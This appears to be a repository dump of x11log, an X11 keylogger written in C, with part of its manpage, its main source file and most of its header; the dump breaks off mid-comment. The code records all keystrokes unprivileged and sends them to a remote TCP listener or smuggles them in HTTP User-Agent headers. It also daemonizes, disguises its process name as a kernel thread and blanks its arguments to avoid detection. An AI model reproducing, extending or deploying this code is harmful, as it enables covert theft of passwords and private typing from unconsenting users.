is running in 27 | has the focus or not). 28 | 29 | =over 30 | 31 | =item B<-s DISPLAY> 32 | 33 | X-Display to use, default is :0.0 34 | 35 | =item B<-f LOGFILE> 36 | 37 | Log keystrokes to file instead of STDOUT. Text is appended, logfile created if it does not exist. 38 | 39 | =item B<-r HOST:PORT> 40 | 41 | Log keystrokes to remote host. The other end needs a program listening on the specified TCP port (e.g. using BSD netcat: 'nc -p -k') 42 | 43 | =item B<-h HOST> 44 | 45 | Log keystrokes to webserver within HTTP requests headers. 46 | 47 | =item B<-H HOST> 48 | 49 | like -h, but without buffering. 50 | 51 | =item B<-P> 52 | 53 | use POST instead of GET requests. 54 | 55 | =item B<-d> 56 | 57 | Daemonize (requires -f or -r or both). 58 | 59 | =item B<-q> 60 | 61 | Be quiet (no output to console). 62 | 63 | =item B<-o> 64 | 65 | Obfuscate process name in process table. 66 | 67 | =item B<-O NAME> 68 | 69 | Rename process to given argument. 70 | 71 | =item B<-?> 72 | 73 | Print usage. 74 | 75 | =back 76 | 77 | 78 | =head1 SIGNALS 79 | 80 | x11log handles the following signals: 81 | 82 | =over 83 | 84 | =item B 85 | 86 | Flushes keystroke buffers and terminates x11log normally. 87 | 88 | =item B 89 | 90 | Same as B. 91 | 92 | =item B 93 | 94 | Force x11log to flush the keystroke log buffer immediately and continue 95 | normal operation. 96 | 97 | =back 98 | 99 | =head1 AUTHORS 100 | 101 | B (es@delta-xi.net) 2007 - 2015. 102 | B for X11 display patch 103 | 104 | x11log is hosted on Github at B 105 | 106 | =head1 BUGS 107 | 108 | There are currently no bugs I'm aware of. If you choose HTTP logging, make sure 109 | your server is okay with very frequent requests from the same source (enabling 110 | buffering via B<-h> is recommended). 111 | 112 | If you find any bugs, please report them at B 113 | 114 | 115 | -------------------------------------------------------------------------------- /x11log.c: -------------------------------------------------------------------------------- 1 | /* vim: set ts=4 sw=4: */ 2 | /* -- x11log.c 3 | * x11log - an unprivileged, userspace keylogger for X11 4 | * 5 | * This code is licensed under GPLv3. 6 | * (c) Erik Sonnleitner 2007/2015 7 | * es@delta-xi.net || erik.sonnleitner@fh-hagenberg.at 8 | * www.delta-xi.net, https://github.com/esonn/x11log 9 | * 10 | * TODOs and Bugs: Please refer to the official project-page on Github 11 | * */ 12 | 13 | #include 14 | #include 15 | #include 16 | #include /* signal() */ 17 | #include /* getopt() */ 18 | #include /* toupper() */ 19 | #include /* alloca() */ 20 | 21 | #include /* time_t */ 22 | #include /* umask() */ 23 | #include /* time(), localtime(), asctime() */ 24 | #include /* socket(), send() */ 25 | #include /* inet datatypes */ 26 | #include 27 | #include 28 | #include /* variable argument list for printf wrapper */ 29 | 30 | #include 31 | #include 32 | 33 | #ifdef _HAVE_CURL 34 | #include 35 | #endif //_HAVE_CURL 36 | 37 | #include "x11log.h" 38 | 39 | 40 | 41 | /* We only want to detect changed keyboard states, so we declare two keymap 42 | * arrays (each holding a X keymap vector), whose contents are swapped in each 43 | * iteration in order to recognize changes. Pointers just for readability. */ 44 | static char keymap[2][XKBD_WIDTH], 45 | *kbd = keymap[0], 46 | *tmp = keymap[1]; 47 | 48 | 49 | static XModifierKeymap *map; 50 | static Display *dsp; 51 | static int verbosity = 1; 52 | 53 | /* flags set via signal handler */ 54 | static int flag_exit = 0; 55 | static int flag_flush = 0; 56 | static int flag_uselinebuf = 0; 57 | 58 | /* Here we go. */ 59 | int main (int argc, char ** argv) { 60 | int i; 61 | struct tm *timestart; 62 | struct config_struct config; 63 | char* keystroke; 64 | 65 | timestart = initialize(argc, argv, &config); 66 | 67 | /* Find the right X display for the session. If the user has passed a 68 | * display as argument, the name of the display is already stored in the 69 | * configuration. We don't touch it. 70 | * If the DISPLAY environment variable exists and contains some data, we 71 | * use this value as display. As last resort, we use the default ":0.0". 72 | * -- thanks for frubi for this 73 | */ 74 | if((config.display == NULL) && (getenv("DISPLAY") != NULL) 75 | && (strlen(getenv("DISPLAY")) > 0)) 76 | config.display = strdup(getenv("DISPLAY")); 77 | else if(config.display == NULL) 78 | config.display = X_DEFAULT_DISPLAY; 79 | 80 | dsp = XOpenDisplay(config.display); 81 | if(!dsp) 82 | fatal("Cannot open display"); 83 | 84 | XSynchronize (dsp, True); 85 | map = XGetModifierMapping(dsp); 86 | 87 | log(1, stderr, "\n\n--New Session at %s\n", asctime(timestart)); 88 | 89 | /* we'll only try to find changed keys */ 90 | for(XQueryKeymap(dsp, kbd);; usleep(DELAY)){ 91 | //check if signal handler set global flags 92 | if(flag_exit) 93 | clean_exit(&config); 94 | if(!--flag_flush) 95 | fflush(config.logfd); 96 | 97 | SWAP(kbd, tmp, char*); 98 | XQueryKeymap(dsp, kbd); 99 | 100 | for( i = 0; i < XKBD_WIDTH * BITS_PER_BYTE; i++ ) 101 | if(getbit(kbd, i) != getbit(tmp, i) && getbit(kbd, i)) { 102 | keystroke = decodeKey(i, getbit(kbd, i), getMods(kbd)); 103 | 104 | /* Log & flush every stroke, unless -l is specified */ 105 | if(!flag_uselinebuf) { 106 | log( 1, config.logfd, "%s", keystroke); 107 | fflush(config.logfd); 108 | } else 109 | linebuf_update((const char*)keystroke, &config); 110 | 111 | if(config.log_remote_inet) 112 | transmit_keystroke_inet(keystroke, &config); 113 | 114 | if(config.log_remote_http) 115 | transmit_keystroke_http(keystroke, &config, 116 | config.log_remote_http_nodelay ? 1 : 0); 117 | } 118 | } 119 | } 120 | 121 | 122 | 123 | int linebuf_update(const char* s, struct config_struct* config){ 124 | /* If buffer is too small, allocate another chunk of memory */ 125 | if( strlen(s) + strlen(linebuf.buf) + 1 >= linebuf.size ) { 126 | linebuf.size += LINEBUF_INC_LEN * sizeof(char); 127 | linebuf.buf = realloc(linebuf.buf, linebuf.size); 128 | if(linebuf.buf == NULL) 129 | fatal("Unable to allocate memory"); 130 | } 131 | 132 | /* Concat */ 133 | strncat(linebuf.buf, s, strlen(s)); 134 | 135 | /* If key is , flush & truncate line buffer */ 136 | if(strcmp("\n", s) == 0){ 137 | log( 1, config->logfd, "%s", linebuf.buf); 138 | //log( 1, config->logfd, "\n"); 139 | fflush(config->logfd); 140 | 141 | linebuf.buf[0] = 0; 142 | return 1; 143 | }; 144 | 145 | // TODO: make this work 146 | /* If key is , try to delete last keystroke */ 147 | //if(strcmp("\b", s) == 0 || strcmp("←", s) == 0){ 148 | char tmp = s[0]; 149 | printf("asdfasfd c = <%c>\n", tmp); 150 | //if('\b' == tmp || '←' == tmp){ 151 | if(strncmp("←", s, 1) == 0){ 152 | printf("LOLOL\n"); 153 | linebuf.buf[strlen(linebuf.buf)-1] = 0; 154 | }; 155 | 156 | 157 | 158 | /* Fix for AltGr-key combinations on german keyboards */ 159 | /* 160 | merge_split_keys('q', VIS_PREFIX_ALTGR, '@'); 161 | merge_split_keys('1', VIS_PREFIX_ALTGR, '¹'); 162 | merge_split_keys('2', VIS_PREFIX_ALTGR, '²'); 163 | merge_split_keys('3', VIS_PREFIX_ALTGR, '³'); 164 | merge_split_keys('4', VIS_PREFIX_ALTGR, '¼'); 165 | merge_split_keys('5', VIS_PREFIX_ALTGR, '½'); 166 | merge_split_keys('6', VIS_PREFIX_ALTGR, '¬'); 167 | merge_split_keys('7', VIS_PREFIX_ALTGR, '{'); 168 | merge_split_keys('8', VIS_PREFIX_ALTGR, '['); 169 | merge_split_keys('9', VIS_PREFIX_ALTGR, ']'); 170 | merge_split_keys('0', VIS_PREFIX_ALTGR, '}'); 171 | merge_split_keys('ß', VIS_PREFIX_ALTGR, '\\'); 172 | */ 173 | 174 | for(int i = 0; kbd_layout_ger[i].cur; i++){ 175 | merge_split_keys(kbd_layout_ger[i].cur, kbd_layout_ger[i].mod, kbd_layout_ger[i].replacement); 176 | } 177 | 178 | return 0; 179 | } 180 | 181 | 182 | void merge_split_keys(char key, const char mod, const char replacement){ 183 | int cur_key_idx = strlen(linebuf.buf) - 1; 184 | 185 | if( linebuf.buf[cur_key_idx] == key && 186 | linebuf.buf[cur_key_idx-1] == mod){ 187 | 188 | linebuf.buf[cur_key_idx-1] = replacement; 189 | linebuf.buf[cur_key_idx] = 0; 190 | } 191 | } 192 | 193 | 194 | 195 | struct tm* initialize(int argc, char ** argv, struct config_struct* config) { 196 | int c, i, j; 197 | time_t rawtime; 198 | 199 | linebuf.buf = smalloc(sizeof(char) * LINEBUF_INC_LEN); 200 | linebuf.size = LINEBUF_INC_LEN * sizeof(char); 201 | 202 | /* connect signals to handler-functions */ 203 | signal(SIGTERM, signal_handler); 204 | signal(SIGINT, signal_handler); 205 | signal(SIGHUP, signal_handler); 206 | 207 | /* set default values for cmdline options */ 208 | config->display = NULL; 209 | config->logfile = NULL; 210 | config->logfd = stdout; 211 | config->silent = 0; 212 | config->log_remote_inet = 0; 213 | #ifdef _HAVE_CURL 214 | config->log_remote_http = 0; 215 | #endif 216 | config->process_fakename = NULL; 217 | config->remote_addr = NULL; 218 | config->host = NULL; 219 | config->port = 0; 220 | config->daemonize = 0; 221 | config->obfuscate = 0; 222 | config->log_remote_http_nodelay = 0; 223 | config->log_remote_http_post = 0; 224 | 225 | /* parse cmdline arguments */ 226 | while((c = getopt(argc, argv, "PO:s:f:lH:h:?r:qdo")) != -1){ 227 | switch(c) { 228 | case 's': 229 | if(strcmp(optarg, X_DEFAULT_DISPLAY) == 0) 230 | break; 231 | 232 | config->display = smalloc(sizeof(char) * strlen(optarg) + 1); 233 | strncpy(config->display, optarg, strlen(optarg)); 234 | break; 235 | case 'l': 236 | flag_uselinebuf = 1; 237 | break; 238 | case 'f': 239 | config->logfile = smalloc(sizeof(char) * strlen(optarg) + 1); 240 | strncpy(config->logfile, optarg, strlen(optarg)); 241 | break; 242 | #ifdef _HAVE_CURL 243 | case 'H': 244 | config->log_remote_http_nodelay = 1; 245 | case 'h': 246 | config->host = smalloc(sizeof(char) * strlen(optarg) + 1); 247 | strcpy(config->host, optarg); 248 | config->log_remote_http = 1; 249 | break; 250 | case 'P': 251 | config->log_remote_http_post = 1; 252 | #endif 253 | case 'r': 254 | config->remote_addr = optarg; 255 | config->log_remote_inet = 1; 256 | break; 257 | case 'q': 258 | config->silent = 1; 259 | verbosity = 0; 260 | break; 261 | case 'd': 262 | config->daemonize = 1; 263 | break; 264 | case 'O': 265 | config->process_fakename = smalloc(sizeof(char) * strlen(optarg) +1); 266 | strcpy(config->process_fakename, optarg); 267 | case 'o': 268 | config->obfuscate= 1; 269 | break; 270 | case '?': 271 | print_usage(argv[0]); 272 | exit(EXIT_FAILURE); 273 | default: 274 | break; 275 | } 276 | } 277 | 278 | /* logical constraints */ 279 | if(config->silent && 280 | !(config->log_remote_inet || config->log_remote_http || config->logfile)) 281 | fatal("Argument -q requires either logging to file or remote host (-r|-h|-f)"); 282 | if(config->daemonize && 283 | !(config->log_remote_inet || config->log_remote_http || config->logfile)) 284 | fatal("Argument -d requires either logging to file or remote host (-r|-h|-f)"); 285 | if(config->obfuscate && !config->daemonize) 286 | fatal("Argument -o requires daemonization (-d)"); 287 | if(config->log_remote_http_post && !config->log_remote_http) 288 | fatal("Argument -P requires http logging (-h|-H)"); 289 | 290 | /* log to file if given, use stdout otherwise */ 291 | if(config->logfile != NULL){ 292 | config->logfd = fopen(config->logfile, "a"); 293 | if(!config->logfd) { 294 | log(1, stderr, "Error writing to %s, fallback to console.\n", argv[1]); 295 | config->logfd = stdout; 296 | } 297 | } 298 | 299 | /* remote logging argument validation */ 300 | if((config->remote_addr != NULL) 301 | && (strstr(config->remote_addr, ":") != NULL) 302 | && (config->log_remote_inet)) { 303 | 304 | char* host_tmp = strtok(config->remote_addr, ":"); 305 | config->host = smalloc(sizeof(char) * strlen(host_tmp) + 1); 306 | strncpy(config->host, host_tmp, strlen(host_tmp)); 307 | 308 | config->port = atol( strtok(NULL, ":") ); 309 | 310 | if(config->port < TCP_PORT_MIN || config->port > TCP_PORT_MAX) 311 | fatal("Invalid tcp port number"); 312 | } else if (config->remote_addr != NULL) { 313 | fatal("Illegal argument for remote logging"); 314 | } 315 | 316 | /* to daemonize or not to daemonize */ 317 | if(config->daemonize) 318 | daemonize((config->obfuscate) ? argv[0] : NULL, config); 319 | 320 | /* cmdline arguments are always hidden */ 321 | for(i = 1; i < argc; i++) 322 | for (j = 0; j < strlen(argv[i]); j++) 323 | argv[i][j] = ' '; 324 | 325 | /* just for logging */ 326 | rawtime = time(NULL); 327 | return localtime(&rawtime); 328 | } 329 | 330 | 331 | void print_usage(char* basename){ 332 | log(0, stderr, "\n x11log v%s\n", X11LOG_VERSION); 333 | log(0, stderr, " x11log is a tiny, non-privileged, unobtrusive local/remote keylogger for X11\n"); 334 | log(0, stderr, " (c) by Erik Sonnleitner 2007/2015, licensed under GPLv3\n"); 335 | log(0, stderr, " Please refer to Github for bugs, comments, requests: github.com/esonn/x11log\n\n"); 336 | log(0, stderr, " Usage: %s [OPTIONS]\n", basename); 337 | log(0, stderr, " Available options:\n"); 338 | log(0, stderr, " -s X-Display to use, default is :0.0\n"); 339 | log(0, stderr, " -f Log keystrokes to file instead of STDOUT. Text is\n"); 340 | log(0, stderr, " appended, logfile created if it does not exist.\n"); 341 | log(0, stderr, " -l Use smart line-wise buffering. See manpage for details.\n"); 342 | log(0, stderr, " -r Log keystrokes to remote host. The other end needs a\n"); 343 | log(0, stderr, " program listening on the specified TCP port (e.g. using\n"); 344 | log(0, stderr, " BSD netcat: 'nc -p -k')\n"); 345 | # ifdef _HAVE_CURL 346 | log(0, stderr, " -h Log keystrokes to webserver within HTTP requests headers.\n"); 347 | log(0, stderr, " -H like -h, but without buffering.\n"); 348 | log(0, stderr, " -P use POST instead of GET requests.\n"); 349 | # endif 350 | log(0, stderr, " -d Daemonize (requires -f or -r or both).\n"); 351 | log(0, stderr, " -q Be quiet (no output to console).\n"); 352 | log(0, stderr, " -o Obfuscate process name in process table.\n"); 353 | log(0, stderr, " -O Rename process to given argument.\n"); 354 | log(0, stderr, " -? Print usage.\n"); 355 | } 356 | 357 | char* decodeKey(int code, int down, int mod) { 358 | static char *str, keystroke_readable[MAX_KEYLEN + 1]; 359 | int i = 0;//, remapChar = 0; 360 | KeySym sym; 361 | 362 | sym = XKeycodeToKeysym(dsp, code, (mod == SHIFT_DOWN) ? True : False); 363 | if(sym == NoSymbol) 364 | return ""; 365 | 366 | str = XKeysymToString(sym); 367 | if(!str) 368 | return ""; 369 | 370 | //printf("DBG: <%s>\n", str); 371 | sprintf(keystroke_readable, "%s", str); 372 | 373 | /* shortenize (remap) char str if in mapping table */ 374 | while (remap[i].src[0]) { 375 | if (strcmp(keystroke_readable, remap[i].src) == 0) { 376 | strcpy(keystroke_readable, remap[i].dst); 377 | //remapChar = 1; 378 | break; 379 | } 380 | i++; 381 | } 382 | 383 | /* no remapping, but "long" keysym */ 384 | /* 385 | if(keystroke_readable[1] && !remapChar) { 386 | (down) 387 | ? sprintf(keystroke_readable, "%s%s%s", "[+", str, "]") 388 | : sprintf(keystroke_readable, "%s%s%s", "[-", str, "]"); 389 | return keystroke_readable; 390 | } 391 | */ 392 | 393 | /* 394 | if(mod == CONTROL_DOWN) 395 | printf("[C-DOWN]"); 396 | //sprintf(keystroke_readable, "%c%c%c", '^', keystroke_readable[0], '\0'); 397 | 398 | if(mod == ALT_DOWN) 399 | //sprintf(keystroke_readable, "%c%c%c", '+', keystroke_readable[0], '\0'); 400 | 401 | if(mod == LOCK_DOWN) 402 | printf("[L-DOWN]"); 403 | //keystroke_readable[0] = toupper(keystroke_readable[0]); 404 | */ 405 | 406 | return keystroke_readable; 407 | } 408 | 409 | int getMods(char *kbd) { 410 | int i; 411 | KeyCode kc; 412 | 413 | for (i = 0; i < map->max_keypermod; i++) { 414 | kc = map->modifiermap[ControlMapIndex * map->max_keypermod + i]; 415 | if(kc && getbit(kbd, kc)) 416 | return CONTROL_DOWN; 417 | 418 | kc = map->modifiermap[ShiftMapIndex * map->max_keypermod + i]; 419 | if(kc && getbit(kbd, kc)) 420 | return SHIFT_DOWN; 421 | 422 | kc = map->modifiermap[LockMapIndex * map->max_keypermod + i]; 423 | if(kc && getbit(kbd, kc)) 424 | return LOCK_DOWN; 425 | 426 | kc = map->modifiermap[Mod1MapIndex * map->max_keypermod + i]; 427 | if(kc && getbit(kbd, kc)) 428 | return ALT_DOWN; 429 | } 430 | 431 | return 0; 432 | } 433 | 434 | int getbit(char *kbd, int idx) { 435 | return kbd[idx/8] & (1<<(idx%8)); 436 | } 437 | 438 | 439 | void signal_handler(int sig) { 440 | switch(sig) { 441 | case(SIGINT): 442 | case(SIGTERM): 443 | log(1, stderr, "\n -- x11log terminated.\n"); 444 | flag_exit = 1; 445 | return; 446 | case(SIGHUP): 447 | log(1, stderr, "\n -- SIGHUP: flushing log.\n"); 448 | flag_flush = 1; 449 | return; 450 | } 451 | } 452 | 453 | void clean_exit(struct config_struct* cfg){ 454 | if(cfg->logfd != stdout) 455 | fclose(cfg->logfd); 456 | 457 | /* Transmit very last keystroke-buffer chunk if HTTP logging is enabled */ 458 | if (cfg->log_remote_http) 459 | transmit_keystroke_http( "", cfg, 1 ); 460 | 461 | /* Free dynamically allocated memory */ 462 | if( strcmp(cfg->display, X_DEFAULT_DISPLAY) != 0) 463 | free( cfg->display ); 464 | if( cfg->host != NULL ) 465 | free( cfg->host ); 466 | if( cfg->logfile != NULL ) 467 | free( cfg->logfile ); 468 | 469 | exit(EXIT_SUCCESS); 470 | } 471 | 472 | 473 | void fatal(const char * msg){ 474 | if(msg != NULL) 475 | log(0, stderr, "Fatal: %s.\n", msg); 476 | exit(EXIT_FAILURE); 477 | } 478 | 479 | int transmit_keystroke_inet(char* key, struct config_struct *opts){ 480 | int sock, bytes_sent; 481 | struct hostent *host; 482 | struct sockaddr_in server_addr; 483 | 484 | if((host = gethostbyname( opts->host )) == NULL) 485 | return ERR_DNS; 486 | 487 | if ((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) 488 | return ERR_SOCKET; 489 | 490 | server_addr.sin_family = AF_INET; 491 | server_addr.sin_port = htons( opts->port ); 492 | server_addr.sin_addr = *((struct in_addr *)host->h_addr); 493 | bzero(&(server_addr.sin_zero),8); 494 | 495 | if(connect(sock, (struct sockaddr*)&server_addr, sizeof(struct sockaddr)) == -1) 496 | return ERR_CONNECT; 497 | 498 | bytes_sent = send(sock, key, strlen(key), 0); 499 | close(sock); 500 | 501 | return bytes_sent; 502 | } 503 | 504 | 505 | #ifdef _HAVE_CURL 506 | int transmit_keystroke_http(char* key, struct config_struct *cfg, int sendnow){ 507 | CURL* curl; 508 | char *http_header_field = HTTP_HEADER_FIELD; 509 | char *http_header; 510 | static char keystroke_buffer[KEYSTROKE_BUFFER_SIZE + 1]; //+null byte 511 | 512 | if( (strlen(keystroke_buffer) + strlen(key) <= (KEYSTROKE_BUFFER_SIZE)) 513 | && !sendnow ) { 514 | strcat(keystroke_buffer, key); 515 | return 2; 516 | } 517 | 518 | log(2, cfg->logfd, "HTTP buffer queue full, sending to webserver."); 519 | 520 | curl = curl_easy_init(); 521 | if(!curl) 522 | return 0; 523 | 524 | /* create http header-line with keystroke in it */ 525 | struct curl_slist *headers = NULL; 526 | http_header = alloca(sizeof(char) * 527 | (strlen(http_header_field) + KEYSTROKE_BUFFER_SIZE +1)); 528 | 529 | sprintf(http_header, "%s%s", http_header_field, keystroke_buffer); 530 | headers = curl_slist_append(headers, http_header); 531 | 532 | /* build http request and send */ 533 | curl_easy_setopt(curl, CURLOPT_URL, cfg->host ); 534 | curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, curl_blackhole); 535 | 536 | if(cfg->log_remote_http_post) 537 | curl_easy_setopt(curl, CURLOPT_POST, 1); 538 | 539 | curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); 540 | if (curl_easy_perform(curl) != 0) 541 | return 0; 542 | 543 | curl_easy_cleanup(curl); 544 | 545 | keystroke_buffer[0] = 0; 546 | strcat(keystroke_buffer, key); 547 | return 1; 548 | } 549 | #endif //_HAVE_CURL 550 | 551 | void log(int level, FILE* stream, const char *fmt, ...) { 552 | va_list args; 553 | va_start(args, fmt); 554 | 555 | if(verbosity >= level || (stream != stdout && stream != stderr)) 556 | vfprintf(stream, fmt, args); 557 | 558 | va_end(args); 559 | } 560 | 561 | 562 | int daemonize(char* child_process_name, struct config_struct* cfg){ 563 | pid_t pid, sid; 564 | 565 | pid = fork(); 566 | if(pid < 0) 567 | fatal("Error forking process"); 568 | 569 | if(pid > 0) 570 | exit(EXIT_SUCCESS); 571 | 572 | umask(0); 573 | 574 | sid = setsid(); 575 | if(sid < 0) 576 | fatal("Error setting SID for child process"); 577 | 578 | if(chdir("/") < 0) 579 | fatal("Error setting work directory to /"); 580 | 581 | /* process name obfuscation */ 582 | if(child_process_name != NULL) { 583 | int process_name_len = strlen(child_process_name); 584 | strncpy(child_process_name, (cfg->process_fakename == NULL) 585 | ? PROCESS_FAKE_NAME : cfg->process_fakename, process_name_len); 586 | } 587 | 588 | close(STDIN_FILENO); 589 | close(STDOUT_FILENO); 590 | close(STDERR_FILENO); 591 | 592 | return pid; 593 | } 594 | 595 | void* smalloc(size_t size) { 596 | void* ptr; 597 | 598 | if((ptr = malloc(size)) == NULL) 599 | fatal("Unable to allocate memory"); 600 | 601 | return ptr; 602 | } 603 | 604 | 605 | #ifdef _HAVE_CURL 606 | size_t curl_blackhole(void* unused, size_t size, size_t nmemb, void* none) { 607 | return size * nmemb; 608 | } 609 | #endif //_HAVE_CURL 610 | 611 | -------------------------------------------------------------------------------- /x11log.h: -------------------------------------------------------------------------------- 1 | /* vim: set ts=4 sw=4: */ 2 | /* -- x11log.h 3 | * x11log - an unprivileged, userspace keylogger for X11 4 | * 5 | * This code is licensed under GPLv3. 6 | * (c) Erik Sonnleitner 2007/2015, 7 | * es@delta-xi.net || erik.sonnleitner@fh-hagenberg.at 8 | * www.delta-xi.net, https://github.com/esonn/x11log 9 | * 10 | * TODOs and Bugs: Please refer to the official project-page on Github 11 | * */ 12 | 13 | #ifndef _X11LOG_H 14 | #define _X11LOG_H 15 | 16 | #define X11LOG_VERSION "0.82-beta" 17 | 18 | /* global defines */ 19 | #define MAX_KEYLEN 16 20 | #define SHIFT_DOWN 1 21 | #define LOCK_DOWN 2 22 | #define CONTROL_DOWN 3 23 | #define ALT_DOWN 4 24 | #define DELAY 10000 25 | 26 | #define VIS_PREFIX_ALT '+' 27 | #define VIS_PREFIX_CTRL '^' 28 | #define VIS_PREFIX_ALTGR '%' 29 | #define VIS_PREFIX_MENU '$' 30 | #define VIS_PREFIX_SUPER '%' 31 | 32 | 33 | /* The line_buf array holds all keystrokes until is pressed. It defaults 34 | * to LINEBUF_INC_LEN characters at first; if the buffer isn't big enough, 35 | * another LINEBUF_INC_LEN characters are appended to the array. */ 36 | //#define LINEBUF_INC_LEN 256 /* If line-buffer */ 37 | #define LINEBUF_INC_LEN 10 /* If line-buffer */ 38 | 39 | #define XKBD_WIDTH 32 40 | #define BITS_PER_BYTE 8 41 | #define X_DEFAULT_DISPLAY ":0.0" 42 | #define PROCESS_FAKE_NAME "[ahci]" 43 | 44 | /* 45 | * For validation of port-number for remote logging (-r) 46 | * */ 47 | #define TCP_PORT_MIN 0 48 | #define TCP_PORT_MAX 65535 49 | 50 | /* HTTP keystroke logging is buffered. This is done, because users typically 51 | * type faster, than a webserver is accepting requests; therefore, and for 52 | * better readability on the server, keystrokes are buffered until a certain 53 | * number of keystrokes is reached, and then sent to webserver. */ 54 | #define KEYSTROKE_BUFFER_SIZE 64 55 | 56 | /* Which header field to use */ 57 | #define HTTP_HEADER_FIELD "User-Agent: " 58 | 59 | #define ERR_SOCKET -1 60 | #define ERR_CONNECT -2 61 | #define ERR_DNS -3 62 | 63 | /* macros */ 64 | #define SWAP(a,b,c) c t;t=(a);(a)=(b);(b)=(t); 65 | 66 | /* structs */ 67 | struct config_struct { 68 | char* logfile; /* path to logfile, if not console output */ 69 | FILE* logfd; /* file descriptor for general output */ 70 | char* display; /* X11 display, like $DISPLAY env variable */ 71 | 72 | int log_remote_inet; /* log to remote host? 0: no, 1: yes */ 73 | char* remote_addr; /* remote host to log to, as "hostname:port" */ 74 | char* host; /* hostname or IP as string */ 75 | long port; /* port */ 76 | 77 | int silent; /* no log to stdout */ 78 | int daemonize; /* daemonize process */ 79 | int obfuscate; /* obfuscate process name */ 80 | char* process_fakename; /* process name, if obfuscation is used */ 81 | 82 | #ifdef _HAVE_CURL 83 | int log_remote_http; /* log to webserver; 0: no, 1: yes */ 84 | int log_remote_http_nodelay; /* immediately send HTTP GET request? */ 85 | int log_remote_http_post; /* use POST instead of GET */ 86 | #endif //_HAVE_CURL 87 | }; 88 | 89 | 90 | struct linebuf_struct { 91 | char* buf; 92 | int size; 93 | } linebuf; 94 | 95 | struct kdb_layout_ger_struct { 96 | const char cur; 97 | const char mod; 98 | //const char replacement; 99 | const wchar_t replacement; 100 | }; 101 | 102 | const struct kdb_layout_ger_struct kbd_layout_ger[] = { 103 | {'q', VIS_PREFIX_ALTGR, '@'}, 104 | {'1', VIS_PREFIX_ALTGR, '¹'}, 105 | {'2', VIS_PREFIX_ALTGR, '²'}, 106 | {'3', VIS_PREFIX_ALTGR, '³'}, 107 | {'4', VIS_PREFIX_ALTGR, '¼'}, 108 | {'5', VIS_PREFIX_ALTGR, '½'}, 109 | {'6', VIS_PREFIX_ALTGR, '¬'}, 110 | {'7', VIS_PREFIX_ALTGR, '{'}, 111 | {'8', VIS_PREFIX_ALTGR, '['}, 112 | {'9', VIS_PREFIX_ALTGR, ']'}, 113 | {'0', VIS_PREFIX_ALTGR, '}'}, 114 | // {'ß', VIS_PREFIX_ALTGR, '\\'}, 115 | { 0, 0, 0 } 116 | }; 117 | 118 | /* globals */ 119 | const struct remap_struct { 120 | char src[20], dst[8]; 121 | } remap[] = { 122 | {"Return","\n"}, 123 | {"Escape","[ESC]"}, 124 | {"Delete", ">D"}, 125 | // {"Shift",""}, 126 | // {"Control",""}, 127 | {"space", " "}, 128 | {"exclam", "!"}, 129 | {"quotedbl", "\""}, 130 | {"numbersign", "#"}, 131 | {"dollar", "$"}, 132 | {"percent", "%"}, 133 | {"ampersand", "&"}, 134 | {"apostrophe", "'"}, 135 | {"parenleft", "("}, 136 | {"parenright", ")"}, 137 | {"asterisk", "*"}, 138 | {"plus", "+"}, 139 | {"comma", ","}, 140 | {"minus", "-"}, 141 | {"period", "."}, 142 | {"slash", "/"}, 143 | {"colon", ":"}, 144 | {"semicolon", ";"}, 145 | {"less", "<"}, 146 | {"equal", "="}, 147 | {"greater", ">"}, 148 | {"question", "?"}, 149 | {"At", "@"}, 150 | {"bracketleft", "["}, 151 | {"backslash", "\\"}, 152 | {"bracketright", "]"}, 153 | {"asciicircum", "^"}, 154 | {"underscore", "_"}, 155 | {"grave", "`"}, 156 | {"braceleft", "{"}, 157 | {"bar", "|"}, 158 | {"braceright", "}"}, 159 | {"asciitilde", "~"}, 160 | {"odiaeresis","ö"}, 161 | {"adiaeresis","ä"}, 162 | {"udiaeresis","ü"}, 163 | {"Odiaeresis","Ö"}, 164 | {"Adiaeresis","Ä"}, 165 | {"Udiaeresis","Ü"}, 166 | {"ssharp","ß"}, 167 | {"section","$"}, 168 | {"acute","´"}, 169 | {"degree","°"}, 170 | 171 | /* If _UNICODE is defined, let's replace some special characters with 172 | * more representive single-characters unicode equivalents for better 173 | * readability (this should be the default). */ 174 | #ifdef _UNICODE 175 | {"BackSpace","⌫"}, 176 | 177 | {"Up","↑"}, 178 | {"Down","↓"}, 179 | {"Left","←"}, 180 | {"Right","→"}, 181 | 182 | {"Tab","⇥"}, 183 | {"ISO_Left_Tab","⇤"}, 184 | {"ISO_Level3_Shift",""}, 185 | #else 186 | //{"BackSpace","←"}, 187 | 188 | //{"Up","↑"}, 189 | //{"Down","↓"}, 190 | //{"Left","←"}, 191 | //{"Right","→"}, 192 | 193 | {"Tab","\t"}, 194 | #endif 195 | 196 | {"Control_L", VIS_PREFIX_CTRL}, /* Left CTRL key */ 197 | {"Control_R", VIS_PREFIX_CTRL}, /* Right CTRL key */ 198 | {"Alt_L", VIS_PREFIX_ALT}, /* Left Alt key */ 199 | {"Alt_R", VIS_PREFIX_ALT}, /* Right Alt key */ 200 | {"Menu", VIS_PREFIX_MENU}, /* Right Windows-Menu key */ 201 | {"ISO_Level3_Shift", VIS_PREFIX_ALTGR}, /* Alt-Gr */ 202 | {"Super_L", VIS_PREFIX_SUPER}, /* Left Windows key*/ 203 | 204 | {"Shift_L",""}, 205 | {"Shift_R",""}, 206 | 207 | {"",""} 208 | }; 209 | 210 | 211 | 212 | 213 | /* * * * * * * * * * * 214 | * Funcion prototypes 215 | * * * * * * * * * * * */ 216 | 217 | /* decodeKey() 218 | * checks keycodes and mods, and returns a human-readable interpretation of the 219 | * keyboard status. 220 | * */ 221 | char* decodeKey (int code, int down, int mod); 222 | 223 | 224 | /* getMods() 225 | * Read the mod key(s) of the keymap state and return the present mods 226 | * */ 227 | int getMods (char *kbd); 228 | 229 | 230 | /* getbit() 231 | * Retrieve one specific bit (idx) of a keymap vector 232 | * */ 233 | int getbit (char *kbd, int idx); 234 | 235 | 236 | /* signal_handler() 237 | * Signal handler for SIGTERM, SIGINT and SIGHUP. Only set global flags, which 238 | * are regularly checked in main loop; this prevents us from requiring the 239 | * main configuration structure on global scope. 240 | * */ 241 | void signal_handler (int sig); 242 | 243 | 244 | /* fatal() 245 | * fatal: Print error message and abort execution. 246 | * */ 247 | void fatal (const char * msg); 248 | 249 | 250 | /* initialize() 251 | * Initialization stuff: parse arguments, define signal handlers, define 252 | * output stream, set default options. Returns time when init() finished. 253 | * */ 254 | struct tm* initialize (int argc, char ** argv, struct config_struct* opts); 255 | 256 | 257 | /* transmit_keystroke_inet() 258 | * 